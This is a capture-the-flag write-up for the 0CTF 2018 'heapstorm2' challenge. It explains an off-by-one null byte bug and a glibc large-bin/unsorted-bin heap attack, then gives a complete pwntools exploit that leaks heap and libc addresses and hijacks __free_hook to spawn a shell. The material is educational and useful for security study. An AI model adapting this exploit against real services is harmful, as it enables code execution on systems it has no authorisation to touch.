0CTF 2018 PWN Heapstorm2 Write-up

Introduction

A nice challenge to lead me revisiting the source of libc malloc. Please read my post on A Revisit to Large Bin first before reading this post.

Vulnerability Analysis

The vulnerability exists in update function, there exists an one-byte-off-null vulnerability in it. We can create overlapping chunks with the vulnerability.

Exploit Plan

The annoying part is how to leak info in this challenge. In view function, it will xor the data stored at 0x13370810 and 0x13370818 first, it will continue to show the result if the result is 0x13377331. But the problem is the two values are initialized to an identical random value. We cannot easily read the value of desired target unless we can break this check in the binary.
Therefore, the main point of this challenge is to overwrite the value at 0x13370810 and 0x13370818.
In this challenge, we exploit the following two parts of code in glibc to achieve this goal.

//code 1
if (size == nb)
{
    set_inuse_bit_at_offset (victim, size);
    if (av != &main_arena)
        set_non_main_arena (victim);
    check_malloced_chunk (av, victim, nb);
    void *p = chunk2mem (victim);
    alloc_perturb (p, bytes);
    return p;
}

//code 2
else
{
    victim->fd_nextsize = fwd;
    victim->bk_nextsize = fwd->bk_nextsize;
    fwd->bk_nextsize = victim;
    victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;

Both code are embedded in the procedure of retrieving available chunk from unsorted bin.
Code 1 is responsible for returning the retrieved chunk to application if the size of the chunk is equal to the requested size.
Code 2 is responsible for inserting the retrieved chunk info corresponding large bin. It is very similar to unsorted bin attack that overwrites the target address with an uncontrollable address.

The whole point of this exploit is to create a fake chunk at 0x133707c0 with Code 2 via creating overlapping chunk.
Then use the overlapping chunk to corrupt bk of one chunk in unsorted bin to 0x133707c0 and try to allocate a chunk with size 0x48 to get an allocated chunk at 0x133707d0.
Since we cannot corrupt the data area that stores the pointer and size due to size limitation, we repeat the step above to get an allocated chunk at 0x133707d8.
Then we can overwrite anything anywhere and pwn a shell.

0x133707c0:	0x11b8a02000000000	0x0000000000000056
0x133707d0:	0x11b8a02000000000	0x00005611b8a02440
0x133707e0:	0x0000000000000000	0x00005611b8a02440
0x133707f0:	0x0000000000000000	0x0000000000000000

Exploit

In my debugging script of this challenge, I use the following code to get a direct view of memory management.

def h():
    val1 = gdb.parse_and_eval(" *((unsigned long*)(0x13370800)) ");
    val2 = gdb.parse_and_eval(" *((unsigned long*)(0x13370808)) ");
    longval1 = ctypes.c_ulong(val1);
    longval2 = ctypes.c_ulong(val2);
    val3 = gdb.parse_and_eval(" *((unsigned long*)(0x13370810)) ");
    longval3 = ctypes.c_ulong(val3);
    print("0x%016x: 0x%016x, 0x%016x" % (0x13370800, longval1.value, longval2.value));
    print("0x%016x: 0x%016x, 0x%016x" % (0x13370810, longval3.value, longval3.value));
    for i in range(0x10):
        v1 = gdb.parse_and_eval(" *((unsigned long*)(0x13370820 + %d * 0x10)) " % i);
        v2 = gdb.parse_and_eval(" *((unsigned long*)(0x13370828 + %d * 0x10)) " % i);
        longv1 = ctypes.c_ulong(v1);
        longv2 = ctypes.c_ulong(v2);
        print("0x%016x: 0x%016x, 0x%016x [%d]" % (0x13370820+ i*0x10, longv1.value ^ longval1.value, longv2.value ^ longval2.value, i));
from pwn import *


DEBUG = int(sys.argv[1]);

if(DEBUG == 0):
    r = remote("1.2.3.4", 2333);
elif(DEBUG == 1):
    r = process("./heapstorm2");
elif(DEBUG == 2):
    r = process("./heapstorm2");
    gdb.attach(r, '''source ./script.py''');

def allocate(size):
    r.recvuntil("Command:");
    r.sendline("1");
    r.recvuntil("Size:");
    r.sendline(str(size));
                     
def update(index, size, payload):
    r.recvuntil("Command:");
    r.sendline("2");
    r.recvuntil("Index:");
    r.sendline(str(index));
    r.recvuntil("Size:");
    r.sendline(str(size));
    r.recvuntil("Content:");
    r.sendline(payload);
                                                          
def delete(index):
    r.recvuntil("Command:");
    r.sendline("3");
    r.recvuntil("Index:");
    r.sendline(str(index));
                                                                               
def view(index):
    r.recvuntil("Command:");
    r.sendline("4");
    r.recvuntil("Index:");
    r.sendline(str(index));

def invalidView():
    r.recvuntil("Command:");
    r.sendline("4");

def exploit():
    allocate(0x400); #0
    allocate(0x20);  #1
    allocate(0x400); #2
    allocate(0x28);  #3
    allocate(0xfe0); #4
    allocate(0x40);  #5


    update(4, 0xf20,"\x00"*0xef0 + p64(0xf00)+p64(0x21)+ p64(0)*2 + p64(0) +p64(0x21));
    delete(4);
    update(3, 0x28-12, "A"*(0x28-12));

    allocate(0x140); #4

    allocate(0x20); #6
    allocate(0x400);#7
    allocate(0x20); #8
    allocate(0x400);#9
    allocate(0x20); #10

    delete(4);
    delete(7);
    delete(9);

    # start to create overlapping chunk
    delete(5);
    # unsorted_bin -> 0x411 -> 0x411 -> 0x501

    allocate(0x420); #4

    allocate(0x500); #5

    # corrupt the first chunk in large bin
    update(5, 0x1a0, "A"*0x170 + p64(0) + p64(0x401) + p64(0x133707b3)*4);

    # trigger inserting chunk into large bin
    # insert large chunk into unsorted bin first
    delete(0);
    # remove the large chunk from unsorted bin, split a chunk in small bin, insert the large chunk into large bin as first chunk
    allocate(0x30); #0

    # corrupt the first chunk in large bin
    update(5, 0x1a0, "A"*0x170 + p64(0) + p64(0x401) + p64(0x133707c8)*4);

    # trigger inserting chunk into large bin again
    # insert another large chunk into unsorted bin
    delete(2);
    # remove the large chunk from unsorted bin, split a chunk in small bin, insert the large chunk into large bin as first chunk
    allocate(0x30); #2


    # remove the only chunk from unsorted bin
    allocate(0x40);

    # start for fake unsorted bin chunk
    update(5, 0x270, "B"*0x140 + p64(0) + p64(0x101) + "C"*0xf0 + p64(0) + p64(0x21) + p64(0)*3 + p64(21));

    # insert the overlapped chunk into unsorted bin
    delete(6);

    update(5, 0x160 , "B"*0x140+p64(0) + p64(0x101) + p64(0x133707c0)*2)

    #allocate a chunk at 0x133707d0
    allocate(0x40); #6

    update(6, 0x18, p64(0xa1) + p64(0) + p64(0x13370700));
    update(5, 0x1a0, "D"*0x170 + p64(0) + p64(0x101) + p64(0x13370000)*4);

    #allocate a chunk at 0x133707d8
    allocate(0x90); #9

    update(9, 0x68, p64(0)*8 + p64(0x13377331) + p64(0x13370830) + p64(0x40) + p64(0x13370010) + p64(0x10) );
    view(1);
    r.recvuntil("Chunk[1]: ");
    leaked = r.recv(8);
    leakedValue = u64(leaked);
    log.info("Leaked value is 0x%x" % leakedValue);
    heapValue = leakedValue;

    update(0, 0x10, p64(heapValue+0xa10) + p64(0x10));
    view(1);
    r.recvuntil("Chunk[1]: ");
    leaked = r.recv(8);
    leakedValue = u64(leaked);
    log.info("Leaked value is 0x%x" % leakedValue);
    libcBase = leakedValue - 0x399f48;

    freeHookAddr = libcBase + 0x39b788;
    systemAddr = libcBase + 0x3f480;

    update(0, 0x10, p64(freeHookAddr)+p64(0x50));
    update(1, 0x10, p64(systemAddr)*2);

    update(0, 0x8, "/bin/sh\x00");
    delete(0);
    r.interactive();

exploit();

Reference

[1] https://raw.githubusercontent.com/scwuaptx/CTF/master/2018-writeup/0ctf/heapstorm.py

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.